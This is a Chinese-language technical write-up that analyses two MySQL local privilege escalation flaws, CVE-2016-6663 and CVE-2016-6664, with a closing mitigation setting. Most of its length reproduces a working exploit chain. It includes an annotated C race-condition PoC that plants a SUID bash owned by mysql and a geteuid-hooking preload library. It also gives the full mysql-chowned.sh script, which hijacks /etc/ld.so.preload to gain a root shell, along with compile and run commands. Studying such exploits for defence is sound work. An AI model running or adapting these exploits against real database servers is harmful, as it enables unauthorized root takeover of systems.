MySQL 条件竞争 / 本地提权漏洞分析
0x0 前言
这篇文章其实已经酝酿很久了,但是因为时(tou)间(lan)关系迟迟没有下笔。最近 Dawid Golunski 菊苣又放出基于 Debian 的 Nginx 本地提权漏洞,漏洞形成与利用原理和之前 MySQL 相同,所以打算整理一下,记录下来。
0x1 概述
11 月初放出的两个 MySQL 漏洞:CVE-2016-6663 和 CVE-2016-6664,通过前者先得到 MySQL 用户权限,以此作为铺垫,再结合第二个漏洞可提升至 root 权限。两者都是利用软链接来完成攻击。
0x2 预备知识
Linux 的软链接类似于 Windows 下的快捷方式,其包含目标文件的路径,这个大家应该已经滚瓜烂熟了。需要注意一点的是,软链接指向的文件不需要一定存在:
文件权限,当覆盖一个文件时,会保留被覆盖文件的用户和组:
0x3 MySQL 条件竞争漏洞
MySQL 创建表时,可以用 DATA DIRECTORY 指定一个储存路径:
生成的表文件的用户和组都为 mysql,权限为 rw-rw—-,即其他用户没有任何权限:
MySQL 中有一个 repair 语句用于修复数据表,而问题便存在于这个过程中,首先使用 strace 跟踪 mysqld 进程的调用:
strace -f -p MYSQLD_PID
参数 -f 表示跟踪子进程,-p 指定 mysqld 的进程 ID。
执行 repair 命令:
查看调用过程:
首先创建一个临时文件(*.TMD),然后将原文件的权限和用户组全部复制到临时文件,最后删除原文件,临时文件作为新的表。
0x4 问题重现
为了更加形象的展示问题所在,先把数据表上设置 SUID 位,并且为 777 权限:
重新执行 repair 语句,strace 跟踪:
如图,旧数据表 4777 的权限完全带入到临时文件中。
0x5 利用
这个竞争漏洞就是存在于打开临时文件设置权限这个过程,首先预设置原文件权限为 777,再通过软链接替换临时文件,来读取其他文件。通常 mysqld 以 mysql 用户运行,可以将软链接指定到 /var/lib/mysql 下的任意数据文件。
知道利用思路后,我们要解决一些问题:
- MySQL 创建的文件只有 mysql 用户才能修改其权限
Linux 下有个奇妙的位,SGID 位。
SUID 和 SGID 是 Linux 下文件的特殊标志位,SUID 用于运行时获取文件所有者权限,仅作用于可执行文件,这也是为什么普通用户运行 passwd 可以读写 shadow 文件。
而 SGID 对可执行文件和目录都有效:对于可执行文件,同 SUID 类似;
对于目录,当用户在目录下新建文件时,新文件的 组用户 同 目录所属组 一致:
如图,当 tables 目录具有 SGID 标志位时,新生成的表的组为 foobar,因此 foobar 组用户也具备读写表的权限。
但是要注意,文件用户仍属于 mysql 用户,无法设置其权限。但是我们具有读写权限,可以将其移除,建立一个属于当前用户的文件进行替换。
0x6 权限提升的前夕
除了读取数据文件,我们可以尝试获取一个带 SUID 位的 shell,执行时用户为 mysql,结合第二个漏洞可以提升至 root 权限。
如何让带 SUID 的 bash 属于 mysql 用户?利用文件覆盖,仍然保留用户和组的情况,我们可以先建立一个表,然后使用 bash 覆盖该表,此时 bash 属于 mysql 用户。
这样我们的问题都解决了,上关键 PoC 注释:
// 建立临时目录,设置 SGID 位
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// 创建两个表
// mysql_suid_shell 用来替换为 bash,因为覆盖文件后权限仍然保留,所以 bash 的用户为 mysql,之后我们的 SUID 程序才能具有 mysql 权限
// exploit_table 用于替换软链接,指向复制过来的 bash,SUID 标识会被设置到 bash 上
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// 复制 bash 替换第一个表,注意 SGID 的作用,此时权限为 mysql:attacker
system("cp /bin/bash " SUID_SHELL);
// 设置文件创建和关闭提醒通知,在接收到通知后我可以立即替换临时文件
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
// 竞争循环,直到修改成功
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
}
/* 上一次竞争失败留下来的,先删除并重新建立第一个表 */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
// Fork 一个子进程
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* 子进程去执行有问题的 repair 命令 */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* 父进程 */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
// 是否收到文件创建或关闭通知
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
// 有文件关闭了并且是目标临时文件
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
// 删除原表文件,因为文件属于 mysql,无法更新其权限
unlink(MYSQL_TAB_FILE);
// 新建同名文件进行替换
// 由于这个文件的用户和组是当前脚本的运行用户
// mysqld 以 mysql 用户运行,执行 chown 时返回失败,SUID 位成功保留
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
// 修改源数据表为 4777,具有 SUID
chmod(MYSQL_TAB_FILE, 04777);
// 删除临时文件,替换为 bash 的软链接
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// 检查 bash 是否具有 SUID 位
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
// 运行 bash,用户为 mysql
system(SUID_SHELL " -p -i ");
安装依赖:
yum install mysql-devel
编译:
gcc exp.c -o mysql-privesc-race -I/usr/include/mysql -L/usr/lib64/mysql -lmysqlclient
运行:
./mysql-privesc-race foobar bullshit localhost foobar
0x7 MySQL 本地权限提升
这个漏洞主要是 MySQL 对日志文件处理时没有进行安全过滤,MySQL 启动时,通常会生成一个日志文件记录进程信息:
位于 /usr/bin/mysql_safe 脚本负责启动 MySQL 进程并创建相关文件。当创建日志文件时,会修改文件权限和所属用户/组:
通过上面的漏洞获取具有了 mysql 用户权限的 shell,我们可以再次通过软链接来劫持日志文件。
在谈利用之前先说一下 /etc/ld.so.preload 这个文件,在 Linux 下有一种 hook 技术:LD_PRELOAD。装载器在装载程序动态库之前,会检测 LD_PRELOAD 变量,并优先加载其指定的动态库,这样我们可以 hook 相应的动态库函数。
但是 LD_PRELOAD 环境变量无法影响到 SUID 程序,否则就得上天了。出于这种限制,Linux 提供了 /etc/ld.so.preload 文件,即使是加载 SUID 程序,也会优先加载该文件指定的动态库。
最终利用思路,便是建立一个软链接指向 /etc/ld.so.preload,mysql_safe 脚本运行后修改文件权限,属于 mysql 用户。
而通过第一个漏洞我们获取到属于 mysql 用户的 shell,向该文件写入负责提权的动态库路径,最后运行 SUID 程序,获取 root 权限。
需要重启 MySQL 服务才能使脚本操作日志,但是我们无需 root 权限来重启 MySQL 服务。mysqld 运行用户属于 mysql,可以将其结束。而 mysql_safe 脚本会循环检测 mysqld 进程的运行情况,并自动重启进程。
万事俱备,只欠东风。
首先动态库负责 hook geteuid 函数,设置一个用户为 root 的 SUID shell:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BACKDOORPATH "/tmp/bash"
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown(BACKDOORPATH, 0, 0);
chmod(BACKDOORPATH, 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
完整脚本:
#!/bin/bash -p
#
# MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.1)
#
# CVE-2016-6664 / CVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / CVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
echo -e "Got it. Executing 'killall mysqld' now..."
killall mysqld
fi
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0
运行脚本,成功提权:
这里其实还有一些坑:
首先是 Exploit-db 上提供的提权脚本使用的是 CRLF 格式,运行时会报错,需要转换为 Unix-LF,dos2unix 可以快速转换:
cat mysql.sh | dos2unix > mysql_pwn.sh
另外是默认情况下 MySQL 的日志位于 /var/log/mysqld.log,而普通用户对 /var/log 并没有写入权限,无法正常删除替换日志,这种情况下无法提权。
0x8 漏洞修复
由于权限提升的前提条件是获取一个属于 mysql 的 SUID shell,可以在 MySQL 配置中加入如下配置,禁用 MySQL 操作数据表的软链接特性:
symbolic-links = 0
参考资料
鳥哥的 Linux 私房菜 – 第六章、Linux 檔案與目錄管理 - 檔案特殊權限: SUID, SGID, SBIT